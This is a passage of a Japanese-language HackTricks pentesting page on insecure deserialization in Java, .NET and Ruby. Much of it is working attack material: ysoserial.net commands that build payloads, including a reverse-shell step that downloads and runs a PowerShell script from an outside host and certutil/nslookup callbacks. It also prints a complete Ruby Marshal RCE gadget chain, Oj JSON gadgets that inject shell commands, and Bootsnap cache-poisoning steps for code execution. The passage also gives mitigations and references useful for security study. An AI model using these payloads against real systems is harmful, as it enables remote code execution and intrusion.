これは、この悪用においてそのメッセージを使用するすべてのクライアントが感染することを意味します。
サービスが脆弱(ユーザー入力を安全でない方法でデシリアライズしている)であっても、脆弱性を悪用するには有効なガジェットを見つける必要があることを忘れてはいけません。
ツール JMET は、既知のガジェットを使って複数の悪意のあるシリアライズ済みオブジェクトを送信し、これらのサービスに接続して攻撃するために作成されました。これらのエクスプロイトは、サービスがまだ脆弱であり、使用されるガジェットのいずれかが脆弱なアプリケーション内に存在する場合に機能します。
参考資料
-
Patchstack advisory – Everest Forms unauthenticated PHP Object Injection (CVE-2025-52709)
-
JMET talk: https://www.youtube.com/watch?v=0h8DWiOWGGA
.Net
.Net の文脈では、デシリアライズのエクスプロイトは Java に見られるものと類似して動作し、ガジェットがオブジェクトのデシリアライズ中に特定のコードを実行するために悪用されます。
Fingerprint
WhiteBox
ソースコードを調査して、次の発生箇所を確認してください:
TypeNameHandlingJavaScriptTypeResolver
注目すべきは、型の決定をユーザー制御の変数に委ねるようなシリアライザです。
BlackBox
サーチでは、Base64 エンコードされた文字列 AAEAAAD///// や、サーバー側でデシリアライズされる可能性があり、デシリアライズされる型の制御を与える類似のパターンをターゲットにすべきです。これには、TypeObject や $type を含む JSON や XML 構造などが含まれる可能性があります。
ysoserial.net
この場合、ツール ysoserial.net を使用して デシリアライズのエクスプロイトを作成できます。git リポジトリをダウンロードしたら、例として Visual Studio を使ってツールをコンパイルする必要があります。
ysoserial.net がどのようにエクスプロイトを作成するかについて学びたい場合は、ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter が説明されているこのページを確認してください。
ysoserial.net の主なオプションは、--gadget, --formatter, --output および --plugin です。
--gadgetは悪用するガジェット(デシリアライズ時にコマンドを実行するために悪用されるクラス/関数)を指定するために使用します。--formatterはエクスプロイトをシリアライズする方法を指定するために使用します(バックエンドがペイロードをデシリアライズするために使用しているライブラリを知り、同じものを使ってシリアライズする必要があります)。--outputはエクスプロイトを raw または base64 で出力するかを指定します。注意: ysoserial.net はペイロードをデフォルトで Windows で使われる UTF-16LE でエンコードするため、raw を取得して Linux コンソールから単にエンコードした場合、エンコーディングの互換性の問題が発生し、エクスプロイトが正しく動作しないことがあります(HTB の JSON ボックスではペイロードが UTF-16LE と ASCII の両方で動作しましたが、常にそうであるとは限りません)。--pluginysoserial.net は ViewState のような特定フレームワーク向けのエクスプロイトを作るプラグインをサポートします。
より多くの ysoserial.net パラメータ
--minifyは(可能であれば)より小さなペイロードを生成します。--raf -f Json.Net -c "anything"は、指定した formatter(この場合はJson.Net)で使用できるすべてのガジェットを示します。--sf xmlはガジェットを指定(-g)すると、ysoserial.net が "xml" を含む(大文字小文字を区別しない)フォーマッタを検索します。
ysoserial examples エクスプロイトを作成する例:
#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64
#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server
#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64
#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
ysoserial.net には、各 exploit がどのように動作するかをよりよく理解するのに役立つ 非常に興味深いパラメータ があります: --test
このパラメータを指定すると ysoserial.net は try the exploit locally, を実行するため、payload が正しく動作するかをテストできます。
このパラメータは便利です。コードを確認すると次のようなコードの断片が見つかります(ObjectDataProviderGenerator.csから):
if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}
つまり、exploit をテストするためにコードは serializersHelper.JsonNet_deserialize を呼び出します。
public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}
前のコードは作成されたエクスプロイトに対して脆弱です。 したがって、.Net アプリケーションで類似のものを見つけた場合、そのアプリケーションもおそらく脆弱であることを意味します。
そのため、--test パラメータは、どのコードの塊が脆弱かを、ysoserial.net が作成できる desrialization exploit に対して把握するのに役立ちます。
ViewState
この この POST — how to try to exploit the __ViewState parameter of .Net を参照して、任意のコードを実行する方法を確認してください。もし被害者マシンで使われている secrets を既に知っている場合は、この投稿を読んでコードを実行する方法を確認してください。
防止策
To mitigate the risks associated with deserialization in .Net:
- データストリームにオブジェクトの型を決定させない。 可能なら
DataContractSerializerやXmlSerializerを利用する。 JSON.Netを使用する場合はTypeNameHandlingをNoneに設定する:TypeNameHandling = TypeNameHandling.NoneJavaScriptSerializerをJavaScriptTypeResolverと共に使わない。- デシリアライズ可能な型を制限する。
System.IO.FileInfoのような .Net 型はサーバ上のファイルのプロパティを変更する可能性があり、サービス拒否攻撃につながる恐れがある。 Valueのような危険なプロパティを持つ型に注意する。 例:System.ComponentModel.DataAnnotations.ValidationExceptionのValueプロパティは悪用される可能性がある。- 型のインスタンス化を安全に制御する。 そうしないと攻撃者がデシリアライズ処理に影響を与え、
DataContractSerializerやXmlSerializerであっても脆弱になり得る。 - ホワイトリスト制御を実装する。
BinaryFormatterとJSON.NetにはカスタムSerializationBinderを使用する。 - .Net 内の既知の安全でない deserialization gadgets を把握し、デシリアライザがそれらの型をインスタンス化しないようにする。
- 潜在的に危険なコードをインターネットアクセスのあるコードから隔離する。 例えば WPF アプリケーションの
System.Windows.Data.ObjectDataProviderのような既知の gadgets を信頼できないデータソースに晒さない。
参考資料
- Java と .Net の JSON deserialization 論文: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**、**講演: https://www.youtube.com/watch?v=oUAeWhW5b8c とスライド: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
- https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp
- https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf
- https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization
Ruby
In Ruby, serialization is facilitated by two methods within the marshal library. The first method, known as dump, is used to transform an object into a byte stream. This process is referred to as serialization. Conversely, the second method, load, is employed to revert a byte stream back into an object, a process known as deserialization.
Ruby では、シリアライズ処理は marshal ライブラリ内の 2 つのメソッドで行われます。最初のメソッド dump はオブジェクトをバイトストリームに変換する(serialization)。逆に load はバイトストリームをオブジェクトに戻す(deserialization)ために使われます。
For securing serialized objects, Ruby employs HMAC (Hash-Based Message Authentication Code), ensuring the integrity and authenticity of the data. The key utilized for this purpose is stored in one of several possible locations:
シリアライズされたオブジェクトを保護するために、Ruby は HMAC (Hash-Based Message Authentication Code) を使用しており、データの完全性と真正性を保証します。これに使用されるキーは、次のいずれかに格納されています:
config/environment.rbconfig/initializers/secret_token.rbconfig/secrets.yml/proc/self/environ
Ruby 2.X generic deserialization to RCE gadget chain (詳細は https://www.elttam.com/blog/ruby-deserialization/):
#!/usr/bin/env ruby
# Code from https://www.elttam.com/blog/ruby-deserialization/
class Gem::StubSpecification
def initialize; end
end
stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"
puts "STEP n"
stub_specification.name rescue nil
puts
class Gem::Source::SpecificFile
def initialize; end
end
specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)
other_specific_file = Gem::Source::SpecificFile.new
puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts
$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])
puts "STEP n-2"
$dependency_list.each{} rescue nil
puts
class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end
payload = Marshal.dump(Gem::Requirement.new)
puts "STEP n-3"
Marshal.load(payload) rescue nil
puts
puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end
puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts
require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)
Ruby On Rails を悪用する別の RCE チェーン: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/
Ruby の .send() メソッド
As explained in this vulnerability report, ユーザからの適切にサニタイズされていない入力が Ruby オブジェクトの .send() メソッドに到達すると、このメソッドはオブジェクトの 任意の他のメソッドを呼び出す ことを任意のパラメータで可能にします。
例えば、evalを呼び出し、2番目のパラメータとして ruby コードを渡すと任意のコードが実行されます:
<Object>.send('eval', '<user input with Ruby code>') == RCE
さらに、previous writeup で述べたように、.send() のパラメータが1つだけ attacker によって制御されている場合、引数を必要としない、または引数にデフォルト値が設定されているオブジェクトの任意のメソッドを呼び出すことが可能です.
このため、オブジェクトのすべてのメソッドを列挙して、それらの要件を満たす興味深いメソッドを見つけることができます。
<Object>.send('<user_input>')
# This code is taken from the original blog post
# <Object> in this case is Repository
## Find methods with those requirements
repo = Repository.find(1) # get first repo
repo_methods = [ # get names of all methods accessible by Repository object
repo.public_methods(),
repo.private_methods(),
repo.protected_methods(),
].flatten()
repo_methods.length() # Initial number of methods => 5542
## Filter by the arguments requirements
candidate_methods = repo_methods.select() do |method_name|
[0, -1].include?(repo.method(method_name).arity())
end
candidate_methods.length() # Final number of methods=> 3595
Ruby class pollution
ここで pollute a Ruby class and abuse it in hereがどのように可能かを確認してください。
Ruby _json pollution
リクエストボディに配列のようなハッシュ化できない値を送ると、それらは_jsonという新しいキーに追加されます。しかし、攻撃者がボディ内に任意の値を持つ_jsonという値を直接設定することも可能です。例えばバックエンドがあるパラメータの正当性をチェックした後に_jsonパラメータを使って何らかの処理を行う場合、認可バイパスが発生する可能性があります。
詳しくは Ruby _json pollution pageを参照してください。
その他のライブラリ
この手法は from this blog postを参照したものです。
オブジェクトのシリアライズに使われる他のRubyライブラリもあり、不安全なデシリアライズ時にRCEを引き起こすために悪用される可能性があります。以下の表はこれらのライブラリのいくつかと、デシリアライズ時に呼び出されるメソッド(基本的にRCEを得るために悪用する関数)を示しています:
| ライブラリ | 入力データ | クラス内で呼ばれるメソッド |
| Marshal (Ruby) | Binary | _load |
| Oj | JSON | hash(クラスをhash(map)のキーとして入れる必要がある) |
| Ox | XML | hash(クラスをhash(map)のキーとして入れる必要がある) |
| Psych (Ruby) | YAML | hash(クラスをhash(map)のキーとして入れる必要がある)init_with |
| JSON (Ruby) | JSON | json_create ([see notes regarding json_create at end](#table-vulnerable-sinks)) |
基本例:
# Existing Ruby class inside the code of the app
class SimpleClass
def initialize(cmd)
@cmd = cmd
end
def hash
system(@cmd)
end
end
# Exploit
require 'oj'
simple = SimpleClass.new("open -a calculator") # command for macOS
json_payload = Oj.dump(simple)
puts json_payload
# Sink vulnerable inside the code accepting user input as json_payload
Oj.load(json_payload)
Ojを悪用しようとした際、あるgadget classを見つけ、その中のhash関数がto_sを呼び、さらにそれがspecを呼び、specがfetch_pathを呼ぶようになっていて、これを使って任意のURLを取得させることができた。これにより、この種のサニタイズされていない deserialization vulnerabilities の検出に非常に有効だった。
{
"^o": "URI::HTTP",
"scheme": "s3",
"host": "example.org/anyurl?",
"port": "anyport",
"path": "/",
"user": "anyuser",
"password": "anypw"
}
さらに、前の手法ではシステム上にフォルダが作成されることも判明しており、これは別の gadget を悪用してこれを完全な RCE に変えるための要件となる。例えば次のように:
{
"^o": "Gem::Resolver::SpecSpecification",
"spec": {
"^o": "Gem::Resolver::GitSpecification",
"source": {
"^o": "Gem::Source::Git",
"git": "zip",
"reference": "-TmTT=\"$(id>/tmp/anyexec)\"",
"root_dir": "/tmp",
"repository": "anyrepo",
"name": "anyname"
},
"spec": {
"^o": "Gem::Resolver::Specification",
"name": "name",
"dependencies": []
}
}
}
Check for more details in the original post.
Bootstrap Caching
Not really a desearilization vuln but a nice trick to abuse bootstrap caching to to get RCE from a rails application with an arbitrary file write (find the complete original post in here).
Below is a short summary of the steps detailed in the article for exploiting an arbitrary file write vulnerability by abusing Bootsnap caching:
- Identify the Vulnerability and Environment
Rails アプリのファイルアップロード機能により、攻撃者がファイルを任意に書き込める。アプリは制限付きで動作しており(Docker の non-root ユーザのため tmp のような特定ディレクトリのみが書き込み可能)だが、これは Bootsnap のキャッシュディレクトリ(通常 tmp/cache/bootsnap 以下)への書き込みを許してしまう。
- Understand Bootsnap’s Cache Mechanism
Bootsnap はコンパイル済みの Ruby コード、YAML、JSON ファイルをキャッシュすることで Rails の起動時間を短縮する。キャッシュファイルは、(Ruby version、file size、mtime、compile options 等のフィールドを持つ)cache key ヘッダと、その後に続くコンパイル済みコードを含む。起動時にこのヘッダがキャッシュの検証に使われる。
- Gather File Metadata
攻撃者はまず Rails の起動時に読み込まれそうなターゲットファイル(例:Ruby 標準ライブラリの set.rb)を選ぶ。コンテナ内で Ruby コードを実行して、RUBY_VERSION、RUBY_REVISION、size、mtime、compile_option といった重要なメタデータを抽出する。これらは有効な cache key を作るために必須である。
- Compute the Cache File Path
Bootsnap の FNV-1a 64-bit ハッシュ機構を再現することで、正しいキャッシュファイルパスを特定する。このステップにより、悪意あるキャッシュファイルが Bootsnap の期待する正確な場所(例:tmp/cache/bootsnap/compile-cache-iseq/ 以下)に配置されることを保証する。
- Craft the Malicious Cache File
攻撃者は以下の payload を用意する:
- 任意のコマンドを実行(例:プロセス情報を表示するために id を実行)
- 再帰的な悪用を防ぐため、実行後に悪意あるキャッシュを削除
- アプリケーションがクラッシュしないよう元のファイル(例:set.rb)をロード
この payload をバイナリ Ruby コードにコンパイルし、事前に収集したメタデータと正しい Bootsnap バージョン番号を使って慎重に構成した cache key ヘッダと連結する。
- Overwrite and Trigger Execution
任意ファイル書き込みの脆弱性を使って、作成したキャッシュファイルを算出した場所に書き込む。次にサーバを再起動させる(Puma が監視している tmp/restart.txt に書き込むことでトリガされる)。再起動時に Rails がターゲットファイルを require すると、悪意あるキャッシュファイルが読み込まれ、remote code execution (RCE) が発生する。
Ruby Marshal exploitation in practice (updated)
信頼できないバイト列が Marshal.load/marshal_load に到達するあらゆる経路を RCE シンクとして扱え。Marshal は任意のオブジェクトグラフを再構成し、マテリアライズ時にライブラリ/gem のコールバックをトリガーする。
- Minimal vulnerable Rails code path:
class UserRestoreController < ApplicationController
def show
user_data = params[:data]
if user_data.present?
deserialized_user = Marshal.load(Base64.decode64(user_data))
render plain: "OK: #{deserialized_user.inspect}"
else
render plain: "No data", status: :bad_request
end
end
end
- 実際の chains でよく見られる一般的な gadget classes:
Gem::SpecFetcher,Gem::Version,Gem::RequestSet::Lockfile,Gem::Resolver::GitSpecification,Gem::Source::Git. - payloads に埋め込まれる典型的な side-effect marker(unmarshal 時に実行される):
*-TmTT="$(id>/tmp/marshal-poc)"any.zip
Where it surfaces in real apps:
- Rails の cache store や session store(過去に Marshal を使用していたもの)
- バックグラウンドジョブのバックエンドやファイルベースのオブジェクトストア
- バイナリオブジェクトのカスタムな永続化や転送
Industrialized gadget discovery:
- コンストラクタ、
hash,_load,init_with、または unmarshal 中に呼ばれる副作用のあるメソッドを grep する - CodeQL’s Ruby unsafe deserialization queries を使って sources → sinks を追跡し、gadget を表面化させる
- 公開されているマルチフォーマットの PoC (JSON/XML/YAML/Marshal) で検証する
References
- Trail of Bits – Marshal madness: A brief history of Ruby deserialization exploits: https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/
- elttam – Ruby 2.x Universal RCE Deserialization Gadget Chain: https://www.elttam.com/blog/ruby-deserialization/
- Phrack #69 – Rails 3/4 Marshal chain: https://phrack.org/issues/69/12.html
- CVE-2019-5420 (Rails 5.2 insecure deserialization): https://nvd.nist.gov/vuln/detail/CVE-2019-5420
- ZDI – RCE via Ruby on Rails Active Storage insecure deserialization: https://www.zerodayinitiative.com/blog/2019/6/20/remote-code-execution-via-ruby-on-rails-active-storage-insecure-deserialization
- Include Security – Discovering gadget chains in Rubyland: https://blog.includesecurity.com/2024/03/discovering-deserialization-gadget-chains-in-rubyland/
- GitHub Security Lab – Ruby unsafe deserialization (query help): https://codeql.github.com/codeql-query-help/ruby/rb-unsafe-deserialization/
- GitHub Security Lab – PoCs repo: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization
- Doyensec PR – Ruby 3.4 gadget: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization/pull/1
- Luke Jahnke – Ruby 3.4 universal chain: https://nastystereo.com/security/ruby-3.4-deserialization.html
- Luke Jahnke – Gem::SafeMarshal escape: https://nastystereo.com/security/ruby-safe-marshal-escape.html
- Ruby 3.4.0-rc1 release: https://github.com/ruby/ruby/releases/tag/v3_4_0_rc1
- Ruby fix PR #12444: https://github.com/ruby/ruby/pull/12444
- Trail of Bits – Auditing RubyGems.org (Marshal findings): https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/
- watchTowr Labs – Is This Bad? This Feels Bad — GoAnywhere CVE-2025-10035: https://labs.watchtowr.com/is-this-bad-this-feels-bad-goanywhere-cve-2025-10035/
tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:
HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
HackTricks